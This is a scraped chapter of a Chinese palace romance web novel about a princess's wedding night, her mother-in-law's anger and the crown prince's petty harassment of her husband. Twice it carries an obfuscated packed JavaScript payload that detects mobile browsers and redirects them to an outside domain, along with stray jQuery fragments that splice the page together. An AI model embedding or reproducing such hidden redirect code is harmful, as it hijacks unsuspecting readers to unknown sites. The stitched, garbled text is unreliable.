;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521204|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的程度。 崔介不遑多让，甚至比她还胆怯，偷瞄都谈不上，头僵直地安在脖子上，面对的方向只有一个：一动不动地正视前方，很久才眨一次眼。 静默多时，薛柔沉不住气，慢悠悠转头，使崔介红得滴血的侧脸填满视野，声音细细的、颤颤的，犹如一根卷入朔风的丝线，岌岌可危：“奔忙一日，崔大人……不觉得累吗？” 腰酸背痛脖子僵，她已经快支撑不住了，恨不能快快卧倒大睡一觉。 但新婚之夜，那事…… 薛柔问到崔介的心坎上了，他累，身心俱疲，可相较于累，更多的是慌张与焦虑：他一心只有圣贤书，男女之情，男欢女爱，是他从未涉猎过的方面，如同禁区；这样生疏的他，一时难以进行下一步。 “……公主，累吗？” 憋了半日，崔介堪堪弹出几个字眼来。 薛柔坦诚地点点头。 崔介感觉到自己的耳朵在烧，一向处变不惊的他，在此时慌了阵脚，不知应以何种口吻去接她的话，无可奈何地任由氛围冷淡，凝固，冻结。 “崔大人，你是不是……”甫对上目光，他却低垂了眼帘，天知道薛柔花了多少勇气才大方正视他，他的行为，令她有些受挫，“不喜欢我啊？” 崔介手快一步，覆住了她隔在腿上紧紧松松的手背：“不是的，臣只是……” 只是对接下去的一切有些手足无措而已。 薛柔清晰可闻他不成规律的呼吸声。 “那……”薛柔一寸寸抓住他的手指头，崔介慌得抬头，两人视线相撞，“你我便……便安歇吧……” 崔介眼光一震，木讷道：“……好。” 束紧的帷帐，层层泻下，烛光朦胧，彼此的容颜在彼此的眼里，靠近，放大，相碰。 “崔大人，你碰的是我的眼睛……” 吻极轻，如蜻蜓点水。 崔介不言语，吻过她的眼睑，鼻尖，最后触及她的唇——搽了口脂，比花还娇的唇。 是个生涩的亲吻，浅尝辄止，然而，这对初涉情事的二人来说，足以浑身发麻，心神荡漾。 薛柔抖得厉害，后背陷入松软的被褥，嘤咛迭起。 崔介情不自禁摸着沾染了口脂的嘴巴，又鬼使神差地舔了舔——是甜的。 原来，女子用的脂粉不止有馥郁香气，更有令人流连忘返的甘甜之味。 “……公主，恕臣冒犯了。” 香甜之气勾魂摄魄，支配崔介宽衣解带，俯身采撷。 红烛帐暖，鸳鸯交颈，春宵苦短。 今夜无月，天地漆黑，东宫书房更暗一层，伸手不见五指。 方正的木床上，有一双眼骤然张开。 “崔大人，我疼……” ——那个荒唐梦境破碎前的最后一道人声。 薛怀义挺直坐起，揭被出门，径直去向浴房。 他行动轻悄，宛若鬼魅，未惊动一人。 无人发觉，自然无人烧|炭预备热水，这倒正合他意。 他需要让这副该死的身躯，凉一点，再凉一点，最好寒冷彻骨。 21. 偏袒 次日天未亮，崔介起床，盥洗穿戴完毕，全程轻手轻脚。 而后交代院子里的丫鬟们：“不必催公主起，夫人那边我亲去解释。” 崔介少年英明，前途无量，吩咐的话极有分量，这院子里的仆从们都乐意听从他的，当下几个丫鬟点头称是。 崔介回望一眼紧闭的房门，不自觉一笑，随即叫上云澜上余夫人处省晨。 余夫人一夜未合眼，满脑子尽是崔介昨晚撇下满堂宾客，毅然回婚房寻薛柔的背影，又生气又心寒。 自己的亲儿子，破天荒为一个劣迹斑斑的公主摄走心魄了，竟连大局也不顾了。 打量余夫人面色不虞，邝嬷嬷给一旁的小丫头使个眼色。 小丫头会意，撤走余夫人手边放凉了的茶，下去重添热茶。 邝嬷嬷见缝插针，纾解余夫人的心情：“夫人，昨儿少爷少夫人忙碌，歇得也迟，到现在没睡几个时辰呢，您也跟着操劳，不妨别等了，睡个回笼觉。” 余夫人脸拉得老长：“正是新婚，才要准时准点向婆母奉茶来。再说也不是我刁难人，是老祖宗传下的礼数。” 见劝不了，邝嬷嬷打消念想，恰逢换茶的小丫鬟匆匆赶回，邝嬷嬷亲手揭过茶盏，搁到余夫人面前。 “少爷。” 门口响起丫鬟问好的声音。 余夫人敛敛衣袖，原本直挺挺的腰板更板正了，一张保养得当的白脸严肃得可怕。 可瞧见崔介孤身而来，肃正的脸孔瞬时浮现疑惑。 崔介俯首见礼：“儿子向母亲请安了。” “怎的只有你一人，新妇何在？”余夫人开门见山道。 既然薛柔已嫁入崔家，那便不论过往荣宠，单按现今是崔家二的儿媳来对待就好了。 崔介无视母亲的不悦，不紧不慢道：“公主娇弱，昨日劳累，儿子便没叫下人惊醒她，尽管让她养神了。” 余夫人如闻笑话，嗤笑不住：“好啊，你入朝为官，本事也大了，三番两次为你媳妇破例。” 崔介低眉顺眼道：“公主金玉之尊，下嫁已然委屈，儿子体贴她，均是合该的。” 余夫人鼻孔里呼哧呼哧出着气，摆明恼了，邝嬷嬷及时挺身而出，捧茶端与余夫人：“夫人，吃口茶吧。” 一面张罗崔介：“少爷，时辰不早了，您就去上朝吧，别耽误了正事。” 邝嬷嬷这是在打圆场。 崔介点点头，领了好意，遥向主位的余夫人作揖称退。 余夫人哑然许久，茶水什么的半口也咽不下去，胃里火烧火燎的，猛一拍桌子，怒道：“我是造了什么孽呀，一个两个的来气我！” 邝嬷嬷连哄带劝，几乎使遍浑身解数才将人安抚稳定。 这场风波算是消停了。 薛柔实在累极，兼无人催促，直到用午膳的时候方唤三喜伺候起身。 出嫁前，不仅新娘子熟悉各种事项，新娘子的贴身宫女亦得潜心进修有关闺房的种种事宜。 三喜擎一盆热水进来，置于架子上，自行绞好湿手巾递与薛柔。 薛柔扶着床头，双腿荡在床边，不解其意：“我自己洗就是，比干用手巾擦脸要干净。” 三喜不太自在道：“您可能会……会疼，不大方便的吧……” 薛柔呆愣片刻，恍然觉悟三喜的意思，嫩豆腐似的小脸泛起浅浅红光，嗔怪道：“少胡想，我好端端的，哪里也不疼。” 教引嬷嬷说过，疼是顺其自然的结果，怎么会不疼呢？ 三喜百思不得其解，光站原地看她健步如飞至架子前，掬水洗脸，一直走神至她要干手巾，仓皇送了过去。 拭净水珠，薛柔坐于铜镜前，端详着朱砂般的嘴唇，思绪渐渐飘渺。 “崔大人，”一闪一闪的烛光下，薛柔目噙泪花，“我疼……” 一语了却，床尾微动的黑影停滞一瞬，旋即，一个低沉沙哑的声音传来：“臣去洗澡，公主休息吧。” 薛柔下意识松了口气，扯起被子盖住光秃秃的身体，心想等他洗完回来再闭眼入睡，未料体力透支，半刻挺不住，头一歪再也不觉了。 再度寻回意识，身旁空无一人，另一床被子齐整得堆叠于床尾，昨晚横七竖八的衣衫同样以一种体面的姿态悬于衣架上，好似那时的意乱情迷不过黄粱一梦而已。 “殿下，没错的话，今天理当去余夫人处敬茶来着……”三喜忽然记起这回事来。 镜中人已红妆满面、珠光宝气，薛柔拨一拨耳垂的长坠子，不以为意道：“我已晚了，索性吃过饭过去吧。” 她贵为公主，对父皇母后尚且免去了晨昏定省，打算去拜见，也全看在崔介的情面上，哪怕误了一个上午，想必余夫人也能接受的吧？ 退一万步，余夫人不接受，木已成舟，她也不具备回到过去的能耐，还能怎样。 午后，薛柔迎着春日往余夫人住处。 邝嬷嬷出门迎接，笑盈盈说：“夫人知道公主娇生惯养，禁不住昨日的劳碌，请您不必专程跑一趟了，以后的晨昏定省也一并免了，您只管把这当自己家，自由自在的。” 余夫人或许开窍，或许破罐子破摔，全部不管了，崔介愿意偏袒，薛柔愿意称霸王，都随便，把崔家的房顶揭了也随便，横竖有一干姓崔的为他们收拾烂摊子。 有这精神头，倒不如多关心关心自己，她还想多活几年呢。 薛柔心下惊奇。 传闻余夫人大大小小全是规矩，出门在外先跟人家热络地寒暄半日，别人的好话赖坏一股脑接着，绝不肯把话掉地上去。 如此一个人，竟会放她顺心而为？ 蹊跷，相当蹊跷。 “……婆母认真的？”她喊不惯婆母，酝酿一阵才不那么别扭地脱口。 及邝嬷嬷给予肯定地答复后，薛柔略略存疑，约三喜原路折回。 既然余夫人自己“开明”，那她也懒得犯矫情去追问过多，心安理得地盘算明日归宁带哪些礼物应景。 三喜一语道破玄机：“全天下的奇珍异宝全在宫里了，哪里需要精心准备礼物呢？殿下带上崔大人……带上驸马爷回去，就是最妥当的。” 话糙理不糙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521205|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛柔赞许有加：“你这丫头关键时候脑子挺灵活的嘛。” 逢景帝筹谋南征，一纸接一纸的文书、一道接一道的诏令源源不断颁布，翰林院随之晨兴夜寐，日不暇给，而景帝爱护公主，爱屋及乌，特批崔介三日假，准他早些时候回家陪公主。 饶恩典在前，崔介依然尽忠职守，起草完毕手头上的最后一封诏书，随身携带，前往东宫，呈与东宫过目。 从去年开始，太子逐步摆脱边缘化的处境，深受景帝信赖，每草拟一份诏令后，一定先由太子阅览，非军国大事，太子可自行决断，其余的，呈上御览，由圣上拍板。 崔介得皇帝赏识，主要负责整理机密文书、起草诏书等职务，因此，几乎日日同太子打交道。 然则崔介知分寸守底线，不越结党营私的雷池半步，太子自有王家扶持，崔介或是奉承或是疏远，皆无伤大雅，乃至不值一提，两人之间便长远地止步于点头之交上。 程胜照常迎崔介步入书房，只见薛怀义正伏案处理奏折，书案一角摞了高高地两摞折子，上面有红笔书写过的痕迹，看样子尽是批阅完了的。 “请太子殿下过目。”崔介说。 程胜伸手接住那卷诏书，奉上，却见薛怀义不闻不问，专心致志翻阅手中的折子。 程胜举得胳膊酸，一直咬牙硬撑着。 上次在金銮殿外，太子便似这般冷落他的，崔介记忆犹新，姑且见怪不怪，放任自流，半垂着眼睛，静临其动。 薛怀义还算仁慈，掐着程胜出糗以前，接了诏书，展开检阅。 “崔大人很急么？” 薛怀义撂下完全摊平了的诏书，抬眼看向崔介，似笑非笑。 崔介不明所以，唯好就提问作答：“臣没有急事需要经手。” “哦？”薛怀义明显笑了，带有戏谑意味的笑，“那这‘柔’字因何短了一笔呢？” 他挥手令程胜将诏书拿给崔介，道：“崔大人，回去重写一份，仔细检查好，再来送，亦为时不晚。” 话里话外，奚落崔介心急才导致的马虎。 崔介飞速扫过那一列列字迹，果然发现“柔”字赫然缺了一点，十分羞愧，忙耗费半个时辰返回翰林院，提笔重拟，字字核对无误，再交与东宫核验，总计一个半时辰。 所幸未重蹈覆辙。 两遭往返下来，天色大黑，月明星稀，待策马奔回崔府，抓上了亥时的尾巴。 薛柔知他忙，可再忙，何至于折腾到大半夜才放人走的？ 她狐疑不定，趁崔介关门沐浴的间隙，传唤云澜，细细过问。 “具体的，小人不清楚，只听说少爷往东宫送诏书，不知怎么，足足跑了两个来回。翰林院离东宫可有一段路呢，这么一套结束，小两个时辰没了。”云澜毫无保留道。 薛柔雾眉紧蹙，悄悄嘀咕：他薛怀义又在憋什么坏水，大黑天揪着人作贱！ 三喜领命留意浴房的动静，闻得有响动，立时来回。 薛柔屏退诸人，并拢双腿坐在床沿，回思昨夜种种尴尬与缱绻，心中旖旎无限，未免忐忑不安。